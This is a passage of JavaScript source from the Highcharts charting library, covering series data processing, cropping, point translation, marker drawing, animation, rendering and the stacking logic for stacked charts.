firstPoint = data[i];
i++;
}
if (isNumber(firstPoint)) { // assume all points are numbers
var x = pick(options.pointStart, 0),
pointInterval = pick(options.pointInterval, 1);
for (i = 0; i < dataLength; i++) {
xData[i] = x;
yData[i] = data[i];
x += pointInterval;
}
series.xIncrement = x;
} else if (isArray(firstPoint)) { // assume all points are arrays
if (valueCount) { // [x, low, high] or [x, o, h, l, c]
for (i = 0; i < dataLength; i++) {
pt = data[i];
xData[i] = pt[0];
yData[i] = pt.slice(1, valueCount + 1);
}
} else { // [x, y]
for (i = 0; i < dataLength; i++) {
pt = data[i];
xData[i] = pt[0];
yData[i] = pt[1];
}
}
} else {
error(12); // Highcharts expects configs to be numbers or arrays in turbo mode
}
} else {
for (i = 0; i < dataLength; i++) {
if (data[i] !== UNDEFINED) { // stray commas in oldIE
pt = { series: series };
series.pointClass.prototype.applyOptions.apply(pt, [data[i]]);
series.updateParallelArrays(pt, i);
if (hasCategories && pt.name) {
xAxis.names[pt.x] = pt.name; // #2046
}
}
}
}
// Forgetting to cast strings to numbers is a common caveat when handling CSV or JSON
if (isString(yData[0])) {
error(14, true);
}
series.data = [];
series.options.data = data;
//series.zData = zData;
// destroy old points
i = oldDataLength;
while (i--) {
if (oldData[i] && oldData[i].destroy) {
oldData[i].destroy();
}
}
if (tooltipPoints) { // #2594
tooltipPoints.length = 0;
}
// reset minRange (#878)
if (xAxis) {
xAxis.minRange = xAxis.userMinRange;
}
// redraw
series.isDirty = series.isDirtyData = chart.isDirtyBox = true;
animation = false;
}
if (redraw) {
chart.redraw(animation);
}
},
/**
* Process the data by cropping away unused data points if the series is longer
* than the crop threshold. This saves computing time for lage series.
*/
processData: function (force) {
var series = this,
processedXData = series.xData, // copied during slice operation below
processedYData = series.yData,
dataLength = processedXData.length,
croppedData,
cropStart = 0,
cropped,
distance,
closestPointRange,
xAxis = series.xAxis,
i, // loop variable
options = series.options,
cropThreshold = options.cropThreshold,
isCartesian = series.isCartesian;
// If the series data or axes haven't changed, don't go through this. Return false to pass
// the message on to override methods like in data grouping.
if (isCartesian && !series.isDirty && !xAxis.isDirty && !series.yAxis.isDirty && !force) {
return false;
}
// optionally filter out points outside the plot area
if (isCartesian && series.sorted && (!cropThreshold || dataLength > cropThreshold || series.forceCrop)) {
var min = xAxis.min,
max = xAxis.max;
// it's outside current extremes
if (processedXData[dataLength - 1] < min || processedXData[0] > max) {
processedXData = [];
processedYData = [];
// only crop if it's actually spilling out
} else if (processedXData[0] < min || processedXData[dataLength - 1] > max) {
croppedData = this.cropData(series.xData, series.yData, min, max);
processedXData = croppedData.xData;
processedYData = croppedData.yData;
cropStart = croppedData.start;
cropped = true;
}
}
// Find the closest distance between processed points
for (i = processedXData.length - 1; i >= 0; i--) {
distance = processedXData[i] - processedXData[i - 1];
if (distance > 0 && (closestPointRange === UNDEFINED || distance < closestPointRange)) {
closestPointRange = distance;
// Unsorted data is not supported by the line tooltip, as well as data grouping and
// navigation in Stock charts (#725) and width calculation of columns (#1900)
} else if (distance < 0 && series.requireSorting) {
error(15);
}
}
// Record the properties
series.cropped = cropped; // undefined or true
series.cropStart = cropStart;
series.processedXData = processedXData;
series.processedYData = processedYData;
if (options.pointRange === null) { // null means auto, as for columns, candlesticks and OHLC
series.pointRange = closestPointRange || 1;
}
series.closestPointRange = closestPointRange;
},
/**
* Iterate over xData and crop values between min and max. Returns object containing crop start/end
* cropped xData with corresponding part of yData, dataMin and dataMax within the cropped range
*/
cropData: function (xData, yData, min, max) {
var dataLength = xData.length,
cropStart = 0,
cropEnd = dataLength,
cropShoulder = pick(this.cropShoulder, 1), // line-type series need one point outside
i;
// iterate up to find slice start
for (i = 0; i < dataLength; i++) {
if (xData[i] >= min) {
cropStart = mathMax(0, i - cropShoulder);
break;
}
}
// proceed to find slice end
for (; i < dataLength; i++) {
if (xData[i] > max) {
cropEnd = i + cropShoulder;
break;
}
}
return {
xData: xData.slice(cropStart, cropEnd),
yData: yData.slice(cropStart, cropEnd),
start: cropStart,
end: cropEnd
};
},
/**
* Generate the data point after the data has been processed by cropping away
* unused points and optionally grouped in Highcharts Stock.
*/
generatePoints: function () {
var series = this,
options = series.options,
dataOptions = options.data,
data = series.data,
dataLength,
processedXData = series.processedXData,
processedYData = series.processedYData,
pointClass = series.pointClass,
processedDataLength = processedXData.length,
cropStart = series.cropStart || 0,
cursor,
hasGroupedData = series.hasGroupedData,
point,
points = [],
i;
if (!data && !hasGroupedData) {
var arr = [];
arr.length = dataOptions.length;
data = series.data = arr;
}
for (i = 0; i < processedDataLength; i++) {
cursor = cropStart + i;
if (!hasGroupedData) {
if (data[cursor]) {
point = data[cursor];
} else if (dataOptions[cursor] !== UNDEFINED) { // #970
data[cursor] = point = (new pointClass()).init(series, dataOptions[cursor], processedXData[i]);
}
points[i] = point;
} else {
// splat the y data in case of ohlc data array
points[i] = (new pointClass()).init(series, [processedXData[i]].concat(splat(processedYData[i])));
}
}
// Hide cropped-away points - this only runs when the number of points is above cropThreshold, or when
// swithching view from non-grouped data to grouped data (#637)
if (data && (processedDataLength !== (dataLength = data.length) || hasGroupedData)) {
for (i = 0; i < dataLength; i++) {
if (i === cropStart && !hasGroupedData) { // when has grouped data, clear all points
i += processedDataLength;
}
if (data[i]) {
data[i].destroyElements();
data[i].plotX = UNDEFINED; // #1003
}
}
}
series.data = data;
series.points = points;
},
/**
* Calculate Y extremes for visible data
*/
getExtremes: function (yData) {
var xAxis = this.xAxis,
yAxis = this.yAxis,
xData = this.processedXData,
yDataLength,
activeYData = [],
activeCounter = 0,
xExtremes = xAxis.getExtremes(), // #2117, need to compensate for log X axis
xMin = xExtremes.min,
xMax = xExtremes.max,
validValue,
withinRange,
dataMin,
dataMax,
x,
y,
i,
j;
yData = yData || this.stackedYData || this.processedYData;
yDataLength = yData.length;
for (i = 0; i < yDataLength; i++) {
x = xData[i];
y = yData[i];
// For points within the visible range, including the first point outside the
// visible range, consider y extremes
validValue = y !== null && y !== UNDEFINED && (!yAxis.isLog || (y.length || y > 0));
withinRange = this.getExtremesFromAll || this.cropped || ((xData[i + 1] || x) >= xMin &&
(xData[i - 1] || x) <= xMax);
if (validValue && withinRange) {
j = y.length;
if (j) { // array, like ohlc or range data
while (j--) {
if (y[j] !== null) {
activeYData[activeCounter++] = y[j];
}
}
} else {
activeYData[activeCounter++] = y;
}
}
}
this.dataMin = pick(dataMin, arrayMin(activeYData));
this.dataMax = pick(dataMax, arrayMax(activeYData));
},
/**
* Translate data points from raw data values to chart specific positioning data
* needed later in drawPoints, drawGraph and drawTracker.
*/
translate: function () {
if (!this.processedXData) { // hidden series
this.processData();
}
this.generatePoints();
var series = this,
options = series.options,
stacking = options.stacking,
xAxis = series.xAxis,
categories = xAxis.categories,
yAxis = series.yAxis,
points = series.points,
dataLength = points.length,
hasModifyValue = !!series.modifyValue,
i,
pointPlacement = options.pointPlacement,
dynamicallyPlaced = pointPlacement === 'between' || isNumber(pointPlacement),
threshold = options.threshold;
// Translate each point
for (i = 0; i < dataLength; i++) {
var point = points[i],
xValue = point.x,
yValue = point.y,
yBottom = point.low,
stack = stacking && yAxis.stacks[(series.negStacks && yValue < threshold ? '-' : '') + series.stackKey],
pointStack,
stackValues;
// Discard disallowed y values for log axes
if (yAxis.isLog && yValue <= 0) {
point.y = yValue = null;
}
// Get the plotX translation
point.plotX = xAxis.translate(xValue, 0, 0, 0, 1, pointPlacement, this.type === 'flags'); // Math.round fixes #591
// Calculate the bottom y value for stacked series
if (stacking && series.visible && stack && stack[xValue]) {
pointStack = stack[xValue];
stackValues = pointStack.points[series.index];
yBottom = stackValues[0];
yValue = stackValues[1];
if (yBottom === 0) {
yBottom = pick(threshold, yAxis.min);
}
if (yAxis.isLog && yBottom <= 0) { // #1200, #1232
yBottom = null;
}
point.total = point.stackTotal = pointStack.total;
point.percentage = pointStack.total && (point.y / pointStack.total * 100);
point.stackY = yValue;
// Place the stack label
pointStack.setOffset(series.pointXOffset || 0, series.barW || 0);
}
// Set translated yBottom or remove it
point.yBottom = defined(yBottom) ?
yAxis.translate(yBottom, 0, 1, 0, 1) :
null;
// general hook, used for Highstock compare mode
if (hasModifyValue) {
yValue = series.modifyValue(yValue, point);
}
// Set the the plotY value, reset it for redraws
point.plotY = (typeof yValue === 'number' && yValue !== Infinity) ?
//mathRound(yAxis.translate(yValue, 0, 1, 0, 1) * 10) / 10 : // Math.round fixes #591
yAxis.translate(yValue, 0, 1, 0, 1) :
UNDEFINED;
// Set client related positions for mouse tracking
point.clientX = dynamicallyPlaced ? xAxis.translate(xValue, 0, 0, 0, 1) : point.plotX; // #1514
point.negative = point.y < (threshold || 0);
// some API data
point.category = categories && categories[point.x] !== UNDEFINED ?
categories[point.x] : point.x;
}
// now that we have the cropped data, build the segments
series.getSegments();
},
/**
* Animate in the series
*/
animate: function (init) {
var series = this,
chart = series.chart,
renderer = chart.renderer,
clipRect,
markerClipRect,
animation = series.options.animation,
clipBox = chart.clipBox,
inverted = chart.inverted,
sharedClipKey;
// Animation option is set to true
if (animation && !isObject(animation)) {
animation = defaultPlotOptions[series.type].animation;
}
sharedClipKey = '_sharedClip' + animation.duration + animation.easing;
// Initialize the animation. Set up the clipping rectangle.
if (init) {
// If a clipping rectangle with the same properties is currently present in the chart, use that.
clipRect = chart[sharedClipKey];
markerClipRect = chart[sharedClipKey + 'm'];
if (!clipRect) {
chart[sharedClipKey] = clipRect = renderer.clipRect(
extend(clipBox, { width: 0 })
);
chart[sharedClipKey + 'm'] = markerClipRect = renderer.clipRect(
-99, // include the width of the first marker
inverted ? -chart.plotLeft : -chart.plotTop,
99,
inverted ? chart.chartWidth : chart.chartHeight
);
}
series.group.clip(clipRect);
series.markerGroup.clip(markerClipRect);
series.sharedClipKey = sharedClipKey;
// Run the animation
} else {
clipRect = chart[sharedClipKey];
if (clipRect) {
clipRect.animate({
width: chart.plotSizeX
}, animation);
chart[sharedClipKey + 'm'].animate({
width: chart.plotSizeX + 99
}, animation);
}
// Delete this function to allow it only once
series.animate = null;
// Call the afterAnimate function on animation complete (but don't overwrite the animation.complete option
// which should be available to the user).
series.animationTimeout = setTimeout(function () {
series.afterAnimate();
}, animation.duration);
}
},
/**
* This runs after animation to land on the final plot clipping
*/
afterAnimate: function () {
var chart = this.chart,
sharedClipKey = this.sharedClipKey,
group = this.group;
if (group && this.options.clip !== false) {
group.clip(chart.clipRect);
this.markerGroup.clip(); // no clip
}
// Remove the shared clipping rectancgle when all series are shown
setTimeout(function () {
if (sharedClipKey && chart[sharedClipKey]) {
chart[sharedClipKey] = chart[sharedClipKey].destroy();
chart[sharedClipKey + 'm'] = chart[sharedClipKey + 'm'].destroy();
}
}, 100);
},
/**
* Draw the markers
*/
drawPoints: function () {
var series = this,
pointAttr,
points = series.points,
chart = series.chart,
plotX,
plotY,
i,
point,
radius,
symbol,
isImage,
graphic,
options = series.options,
seriesMarkerOptions = options.marker,
seriesPointAttr = series.pointAttr[''],
pointMarkerOptions,
enabled,
isInside,
markerGroup = series.markerGroup;
if (seriesMarkerOptions.enabled || series._hasPointMarkers) {
i = points.length;
while (i--) {
point = points[i];
plotX = mathFloor(point.plotX); // #1843
plotY = point.plotY;
graphic = point.graphic;
pointMarkerOptions = point.marker || {};
enabled = (seriesMarkerOptions.enabled && pointMarkerOptions.enabled === UNDEFINED) || pointMarkerOptions.enabled;
isInside = chart.isInsidePlot(mathRound(plotX), plotY, chart.inverted); // #1858
// only draw the point if y is defined
if (enabled && plotY !== UNDEFINED && !isNaN(plotY) && point.y !== null) {
// shortcuts
pointAttr = point.pointAttr[point.selected ? SELECT_STATE : NORMAL_STATE] || seriesPointAttr;
radius = pointAttr.r;
symbol = pick(pointMarkerOptions.symbol, series.symbol);
isImage = symbol.indexOf('url') === 0;
if (graphic) { // update
graphic
.attr({ // Since the marker group isn't clipped, each individual marker must be toggled
visibility: isInside ? 'inherit' : HIDDEN
})
.animate(extend({
x: plotX - radius,
y: plotY - radius
}, graphic.symbolName ? { // don't apply to image symbols #507
width: 2 * radius,
height: 2 * radius
} : {}));
} else if (isInside && (radius > 0 || isImage)) {
point.graphic = graphic = chart.renderer.symbol(
symbol,
plotX - radius,
plotY - radius,
2 * radius,
2 * radius
)
.attr(pointAttr)
.add(markerGroup);
}
} else if (graphic) {
point.graphic = graphic.destroy(); // #1269
}
}
}
},
/**
* Convert state properties from API naming conventions to SVG attributes
*
* @param {Object} options API options object
* @param {Object} base1 SVG attribute object to inherit from
* @param {Object} base2 Second level SVG attribute object to inherit from
*/
convertAttribs: function (options, base1, base2, base3) {
var conversion = this.pointAttrToOptions,
attr,
option,
obj = {};
options = options || {};
base1 = base1 || {};
base2 = base2 || {};
base3 = base3 || {};
for (attr in conversion) {
option = conversion[attr];
obj[attr] = pick(options[option], base1[attr], base2[attr], base3[attr]);
}
return obj;
},
/**
* Get the state attributes. Each series type has its own set of attributes
* that are allowed to change on a point's state change. Series wide attributes are stored for
* all series, and additionally point specific attributes are stored for all
* points with individual marker options. If such options are not defined for the point,
* a reference to the series wide attributes is stored in point.pointAttr.
*/
getAttribs: function () {
var series = this,
seriesOptions = series.options,
normalOptions = defaultPlotOptions[series.type].marker ? seriesOptions.marker : seriesOptions,
stateOptions = normalOptions.states,
stateOptionsHover = stateOptions[HOVER_STATE],
pointStateOptionsHover,
seriesColor = series.color,
normalDefaults = {
stroke: seriesColor,
fill: seriesColor
},
points = series.points || [], // #927
i,
point,
seriesPointAttr = [],
pointAttr,
pointAttrToOptions = series.pointAttrToOptions,
hasPointSpecificOptions = series.hasPointSpecificOptions,
negativeColor = seriesOptions.negativeColor,
defaultLineColor = normalOptions.lineColor,
defaultFillColor = normalOptions.fillColor,
turboThreshold = seriesOptions.turboThreshold,
attr,
key;
// series type specific modifications
if (seriesOptions.marker) { // line, spline, area, areaspline, scatter
// if no hover radius is given, default to normal radius + 2
stateOptionsHover.radius = stateOptionsHover.radius || normalOptions.radius + 2;
stateOptionsHover.lineWidth = stateOptionsHover.lineWidth || normalOptions.lineWidth + 1;
} else { // column, bar, pie
// if no hover color is given, brighten the normal color
stateOptionsHover.color = stateOptionsHover.color ||
Color(stateOptionsHover.color || seriesColor)
.brighten(stateOptionsHover.brightness).get();
}
// general point attributes for the series normal state
seriesPointAttr[NORMAL_STATE] = series.convertAttribs(normalOptions, normalDefaults);
// HOVER_STATE and SELECT_STATE states inherit from normal state except the default radius
each([HOVER_STATE, SELECT_STATE], function (state) {
seriesPointAttr[state] =
series.convertAttribs(stateOptions[state], seriesPointAttr[NORMAL_STATE]);
});
// set it
series.pointAttr = seriesPointAttr;
// Generate the point-specific attribute collections if specific point
// options are given. If not, create a referance to the series wide point
// attributes
i = points.length;
if (!turboThreshold || i < turboThreshold || hasPointSpecificOptions) {
while (i--) {
point = points[i];
normalOptions = (point.options && point.options.marker) || point.options;
if (normalOptions && normalOptions.enabled === false) {
normalOptions.radius = 0;
}
if (point.negative && negativeColor) {
point.color = point.fillColor = negativeColor;
}
hasPointSpecificOptions = seriesOptions.colorByPoint || point.color; // #868
// check if the point has specific visual options
if (point.options) {
for (key in pointAttrToOptions) {
if (defined(normalOptions[pointAttrToOptions[key]])) {
hasPointSpecificOptions = true;
}
}
}
// a specific marker config object is defined for the individual point:
// create it's own attribute collection
if (hasPointSpecificOptions) {
normalOptions = normalOptions || {};
pointAttr = [];
stateOptions = normalOptions.states || {}; // reassign for individual point
pointStateOptionsHover = stateOptions[HOVER_STATE] = stateOptions[HOVER_STATE] || {};
// Handle colors for column and pies
if (!seriesOptions.marker) { // column, bar, point
// If no hover color is given, brighten the normal color. #1619, #2579
pointStateOptionsHover.color = pointStateOptionsHover.color || (!point.options.color && stateOptionsHover.color) ||
Color(point.color)
.brighten(pointStateOptionsHover.brightness || stateOptionsHover.brightness)
.get();
}
// normal point state inherits series wide normal state
attr = { color: point.color }; // #868
if (!defaultFillColor) { // Individual point color or negative color markers (#2219)
attr.fillColor = point.color;
}
if (!defaultLineColor) {
attr.lineColor = point.color; // Bubbles take point color, line markers use white
}
pointAttr[NORMAL_STATE] = series.convertAttribs(extend(attr, normalOptions), seriesPointAttr[NORMAL_STATE]);
// inherit from point normal and series hover
pointAttr[HOVER_STATE] = series.convertAttribs(
stateOptions[HOVER_STATE],
seriesPointAttr[HOVER_STATE],
pointAttr[NORMAL_STATE]
);
// inherit from point normal and series hover
pointAttr[SELECT_STATE] = series.convertAttribs(
stateOptions[SELECT_STATE],
seriesPointAttr[SELECT_STATE],
pointAttr[NORMAL_STATE]
);
// no marker config object is created: copy a reference to the series-wide
// attribute collection
} else {
pointAttr = seriesPointAttr;
}
point.pointAttr = pointAttr;
}
}
},
/**
* Clear DOM objects and free up memory
*/
destroy: function () {
var series = this,
chart = series.chart,
issue134 = /AppleWebKit\/533/.test(userAgent),
destroy,
i,
data = series.data || [],
point,
prop,
axis;
// add event hook
fireEvent(series, 'destroy');
// remove all events
removeEvent(series);
// erase from axes
each(series.axisTypes || [], function (AXIS) {
axis = series[AXIS];
if (axis) {
erase(axis.series, series);
axis.isDirty = axis.forceRedraw = true;
}
});
// remove legend items
if (series.legendItem) {
series.chart.legend.destroyItem(series);
}
// destroy all points with their elements
i = data.length;
while (i--) {
point = data[i];
if (point && point.destroy) {
point.destroy();
}
}
series.points = null;
// Clear the animation timeout if we are destroying the series during initial animation
clearTimeout(series.animationTimeout);
// destroy all SVGElements associated to the series
each(['area', 'graph', 'dataLabelsGroup', 'group', 'markerGroup', 'tracker',
'graphNeg', 'areaNeg', 'posClip', 'negClip'], function (prop) {
if (series[prop]) {
// issue 134 workaround
destroy = issue134 && prop === 'group' ?
'hide' :
'destroy';
series[prop][destroy]();
}
});
// remove from hoverSeries
if (chart.hoverSeries === series) {
chart.hoverSeries = null;
}
erase(chart.series, series);
// clear all members
for (prop in series) {
delete series[prop];
}
},
/**
* Return the graph path of a segment
*/
getSegmentPath: function (segment) {
var series = this,
segmentPath = [],
step = series.options.step;
// build the segment line
each(segment, function (point, i) {
var plotX = point.plotX,
plotY = point.plotY,
lastPoint;
if (series.getPointSpline) { // generate the spline as defined in the SplineSeries object
segmentPath.push.apply(segmentPath, series.getPointSpline(segment, point, i));
} else {
// moveTo or lineTo
segmentPath.push(i ? L : M);
// step line?
if (step && i) {
lastPoint = segment[i - 1];
if (step === 'right') {
segmentPath.push(
lastPoint.plotX,
plotY
);
} else if (step === 'center') {
segmentPath.push(
(lastPoint.plotX + plotX) / 2,
lastPoint.plotY,
(lastPoint.plotX + plotX) / 2,
plotY
);
} else {
segmentPath.push(
plotX,
lastPoint.plotY
);
}
}
// normal line to next point
segmentPath.push(
point.plotX,
point.plotY
);
}
});
return segmentPath;
},
/**
* Get the graph path
*/
getGraphPath: function () {
var series = this,
graphPath = [],
segmentPath,
singlePoints = []; // used in drawTracker
// Divide into segments and build graph and area paths
each(series.segments, function (segment) {
segmentPath = series.getSegmentPath(segment);
// add the segment to the graph, or a single point for tracking
if (segment.length > 1) {
graphPath = graphPath.concat(segmentPath);
} else {
singlePoints.push(segment[0]);
}
});
// Record it for use in drawGraph and drawTracker, and return graphPath
series.singlePoints = singlePoints;
series.graphPath = graphPath;
return graphPath;
},
/**
* Draw the actual graph
*/
drawGraph: function () {
var series = this,
options = this.options,
props = [['graph', options.lineColor || this.color]],
lineWidth = options.lineWidth,
dashStyle = options.dashStyle,
roundCap = options.linecap !== 'square',
graphPath = this.getGraphPath(),
negativeColor = options.negativeColor;
if (negativeColor) {
props.push(['graphNeg', negativeColor]);
}
// draw the graph
each(props, function (prop, i) {
var graphKey = prop[0],
graph = series[graphKey],
attribs;
if (graph) {
stop(graph); // cancel running animations, #459
graph.animate({ d: graphPath });
} else if (lineWidth && graphPath.length) { // #1487
attribs = {
stroke: prop[1],
'stroke-width': lineWidth,
fill: NONE,
zIndex: 1 // #1069
};
if (dashStyle) {
attribs.dashstyle = dashStyle;
} else if (roundCap) {
attribs['stroke-linecap'] = attribs['stroke-linejoin'] = 'round';
}
series[graphKey] = series.chart.renderer.path(graphPath)
.attr(attribs)
.add(series.group)
.shadow(!i && options.shadow);
}
});
},
/**
* Clip the graphs into the positive and negative coloured graphs
*/
clipNeg: function () {
var options = this.options,
chart = this.chart,
renderer = chart.renderer,
negativeColor = options.negativeColor || options.negativeFillColor,
translatedThreshold,
posAttr,
negAttr,
graph = this.graph,
area = this.area,
posClip = this.posClip,
negClip = this.negClip,
chartWidth = chart.chartWidth,
chartHeight = chart.chartHeight,
chartSizeMax = mathMax(chartWidth, chartHeight),
yAxis = this.yAxis,
above,
below;
if (negativeColor && (graph || area)) {
translatedThreshold = mathRound(yAxis.toPixels(options.threshold || 0, true));
if (translatedThreshold < 0) {
chartSizeMax -= translatedThreshold; // #2534
}
above = {
x: 0,
y: 0,
width: chartSizeMax,
height: translatedThreshold
};
below = {
x: 0,
y: translatedThreshold,
width: chartSizeMax,
height: chartSizeMax
};
if (chart.inverted) {
above.height = below.y = chart.plotWidth - translatedThreshold;
if (renderer.isVML) {
above = {
x: chart.plotWidth - translatedThreshold - chart.plotLeft,
y: 0,
width: chartWidth,
height: chartHeight
};
below = {
x: translatedThreshold + chart.plotLeft - chartWidth,
y: 0,
width: chart.plotLeft + translatedThreshold,
height: chartWidth
};
}
}
if (yAxis.reversed) {
posAttr = below;
negAttr = above;
} else {
posAttr = above;
negAttr = below;
}
if (posClip) { // update
posClip.animate(posAttr);
negClip.animate(negAttr);
} else {
this.posClip = posClip = renderer.clipRect(posAttr);
this.negClip = negClip = renderer.clipRect(negAttr);
if (graph && this.graphNeg) {
graph.clip(posClip);
this.graphNeg.clip(negClip);
}
if (area) {
area.clip(posClip);
this.areaNeg.clip(negClip);
}
}
}
},
/**
* Initialize and perform group inversion on series.group and series.markerGroup
*/
invertGroups: function () {
var series = this,
chart = series.chart;
// Pie, go away (#1736)
if (!series.xAxis) {
return;
}
// A fixed size is needed for inversion to work
function setInvert() {
var size = {
width: series.yAxis.len,
height: series.xAxis.len
};
each(['group', 'markerGroup'], function (groupName) {
if (series[groupName]) {
series[groupName].attr(size).invert();
}
});
}
addEvent(chart, 'resize', setInvert); // do it on resize
addEvent(series, 'destroy', function () {
removeEvent(chart, 'resize', setInvert);
});
// Do it now
setInvert(); // do it now
// On subsequent render and redraw, just do setInvert without setting up events again
series.invertGroups = setInvert;
},
/**
* General abstraction for creating plot groups like series.group, series.dataLabelsGroup and
* series.markerGroup. On subsequent calls, the group will only be adjusted to the updated plot size.
*/
plotGroup: function (prop, name, visibility, zIndex, parent) {
var group = this[prop],
isNew = !group;
// Generate it on first call
if (isNew) {
this[prop] = group = this.chart.renderer.g(name)
.attr({
visibility: visibility,
zIndex: zIndex || 0.1 // IE8 needs this
})
.add(parent);
}
// Place it on first and subsequent (redraw) calls
group[isNew ? 'attr' : 'animate'](this.getPlotBox());
return group;
},
/**
* Get the translation and scale for the plot area of this series
*/
getPlotBox: function () {
return {
translateX: this.xAxis ? this.xAxis.left : this.chart.plotLeft,
translateY: this.yAxis ? this.yAxis.top : this.chart.plotTop,
scaleX: 1, // #1623
scaleY: 1
};
},
/**
* Render the graph and markers
*/
render: function () {
var series = this,
chart = series.chart,
group,
options = series.options,
animation = options.animation,
doAnimation = animation && !!series.animate &&
chart.renderer.isSVG, // this animation doesn't work in IE8 quirks when the group div is hidden,
// and looks bad in other oldIE
visibility = series.visible ? VISIBLE : HIDDEN,
zIndex = options.zIndex,
hasRendered = series.hasRendered,
chartSeriesGroup = chart.seriesGroup;
// the group
group = series.plotGroup(
'group',
'series',
visibility,
zIndex,
chartSeriesGroup
);
series.markerGroup = series.plotGroup(
'markerGroup',
'markers',
visibility,
zIndex,
chartSeriesGroup
);
// initiate the animation
if (doAnimation) {
series.animate(true);
}
// cache attributes for shapes
series.getAttribs();
// SVGRenderer needs to know this before drawing elements (#1089, #1795)
group.inverted = series.isCartesian ? chart.inverted : false;
// draw the graph if any
if (series.drawGraph) {
series.drawGraph();
series.clipNeg();
}
// draw the data labels (inn pies they go before the points)
if (series.drawDataLabels) {
series.drawDataLabels();
}
// draw the points
if (series.visible) {
series.drawPoints();
}
// draw the mouse tracking area
if (series.drawTracker && series.options.enableMouseTracking !== false) {
series.drawTracker();
}
// Handle inverted series and tracker groups
if (chart.inverted) {
series.invertGroups();
}
// Initial clipping, must be defined after inverting groups for VML
if (options.clip !== false && !series.sharedClipKey && !hasRendered) {
group.clip(chart.clipRect);
}
// Run the animation
if (doAnimation) {
series.animate();
} else if (!hasRendered) {
series.afterAnimate();
}
series.isDirty = series.isDirtyData = false; // means data is in accordance with what you see
// (See #322) series.isDirty = series.isDirtyData = false; // means data is in accordance with what you see
series.hasRendered = true;
},
/**
* Redraw the series after an update in the axes.
*/
redraw: function () {
var series = this,
chart = series.chart,
wasDirtyData = series.isDirtyData, // cache it here as it is set to false in render, but used after
group = series.group,
xAxis = series.xAxis,
yAxis = series.yAxis;
// reposition on resize
if (group) {
if (chart.inverted) {
group.attr({
width: chart.plotWidth,
height: chart.plotHeight
});
}
group.animate({
translateX: pick(xAxis && xAxis.left, chart.plotLeft),
translateY: pick(yAxis && yAxis.top, chart.plotTop)
});
}
series.translate();
series.setTooltipPoints(true);
series.render();
if (wasDirtyData) {
fireEvent(series, 'updatedData');
}
}
}; // end Series prototype
/**
* The class for stack items
*/
function StackItem(axis, options, isNegative, x, stackOption, stacking) {
var inverted = axis.chart.inverted;
this.axis = axis;
// Tells if the stack is negative
this.isNegative = isNegative;
// Save the options to be able to style the label
this.options = options;
// Save the x value to be able to position the label later
this.x = x;
// Initialize total value
this.total = null;
// This will keep each points' extremes stored by series.index
this.points = {};
// Save the stack option on the series configuration object, and whether to treat it as percent
this.stack = stackOption;
this.percent = stacking === 'percent';
// The align options and text align varies on whether the stack is negative and
// if the chart is inverted or not.
// First test the user supplied value, then use the dynamic.
this.alignOptions = {
align: options.align || (inverted ? (isNegative ? 'left' : 'right') : 'center'),
verticalAlign: options.verticalAlign || (inverted ? 'middle' : (isNegative ? 'bottom' : 'top')),
y: pick(options.y, inverted ? 4 : (isNegative ? 14 : -6)),
x: pick(options.x, inverted ? (isNegative ? -6 : 6) : 0)
};
this.textAlign = options.textAlign || (inverted ? (isNegative ? 'right' : 'left') : 'center');
}
StackItem.prototype = {
destroy: function () {
destroyObjectProperties(this, this.axis);
},
/**
* Renders the stack total label and adds it to the stack label group.
*/
render: function (group) {
var options = this.options,
formatOption = options.format,
str = formatOption ?
format(formatOption, this) :
options.formatter.call(this); // format the text in the label
// Change the text to reflect the new total and set visibility to hidden in case the serie is hidden
if (this.label) {
this.label.attr({text: str, visibility: HIDDEN});
// Create new label
} else {
this.label =
this.axis.chart.renderer.text(str, 0, 0, options.useHTML) // dummy positions, actual position updated with setOffset method in columnseries
.css(options.style) // apply style
.attr({
align: this.textAlign, // fix the text-anchor
rotation: options.rotation, // rotation
visibility: HIDDEN // hidden until setOffset is called
})
.add(group); // add to the labels-group
}
},
/**
* Sets the offset that the stack has from the x value and repositions the label.
*/
setOffset: function (xOffset, xWidth) {
var stackItem = this,
axis = stackItem.axis,
chart = axis.chart,
inverted = chart.inverted,
neg = this.isNegative, // special treatment is needed for negative stacks
y = axis.translate(this.percent ? 100 : this.total, 0, 0, 0, 1), // stack value translated mapped to chart coordinates
yZero = axis.translate(0), // stack origin
h = mathAbs(y - yZero), // stack height
x = chart.xAxis[0].translate(this.x) + xOffset, // stack x position
plotHeight = chart.plotHeight,
stackBox = { // this is the box for the complete stack
x: inverted ? (neg ? y : y - h) : x,
y: inverted ? plotHeight - x - xWidth : (neg ? (plotHeight - y - h) : plotHeight - y),
width: inverted ? h : xWidth,
height: inverted ? xWidth : h
},
label = this.label,
alignAttr;
if (label) {
label.align(this.alignOptions, null, stackBox); // align the label to the box
// Set visibility (#678)
alignAttr = label.alignAttr;
label[this.options.crop === false || chart.isInsidePlot(alignAttr.x, alignAttr.y) ? 'show' : 'hide'](true);
}
}
};
// Stacking methods defined on the Axis prototype
/**
* Build the stacks from top down
*/
Axis.prototype.buildStacks = function () {
var series = this.series,
reversedStacks = pick(this.options.reversedStacks, true),
i = series.length;
if (!this.isXAxis) {
this.usePercentage = false;
while (i--) {
series[reversedStacks ? i : series.length - i - 1].setStackedPoints();
}
// Loop up again to compute percent stack
if (this.usePercentage) {
for (i = 0; i < series.length; i++) {
series[i].setPercentStacks();
}
}
}
};
Axis.prototype.renderStackTotals = function () {
var axis = this,
chart = axis.chart,
renderer = chart.renderer,
stacks = axis.stacks,
stackKey,
oneStack,
stackCategory,
stackTotalGroup = axis.stackTotalGroup;
// Create a separate group for the stack total labels
if (!stackTotalGroup) {
axis.stackTotalGroup = stackTotalGroup =
renderer.g('stack-labels')
.attr({
visibility: VISIBLE,
zIndex: 6
})
.add();
}
// plotLeft/Top will change when y axis gets wider so we need to translate the
// stackTotalGroup at every render call. See bug #506 and #516
stackTotalGroup.translate(chart.plotLeft, chart.plotTop);
// Render each stack total
for (stackKey in stacks) {
oneStack = stacks[stackKey];
for (stackCategory in oneStack) {
oneStack[stackCategory].render(stackTotalGroup);
}
}
};
// Stacking methods defnied for Series prototype
/**
* Adds series' points value to corresponding stack
*/
Series.prototype.setStackedPoints = function () {
if (!this.options.stacking || (this.visible !== true && this.chart.options.chart.ignoreHiddenSeries !== false)) {
return;
}
var series = this,
xData = series.processedXData,
yData = series.processedYData,
stackedYData = [],
yDataLength = yData.length,
seriesOptions = series.options,
threshold = seriesOptions.threshold,
stackOption = seriesOptions.stack,
stacking = seriesOptions.stacking,
stackKey = series.stackKey,
negKey = '-' + stackKey,
negStacks = series.negStacks,
yAxis = series.yAxis,
stacks = yAxis.stacks,
oldStacks = yAxis.oldStacks,
isNegative,
stack,
other,
key,
i,
x,
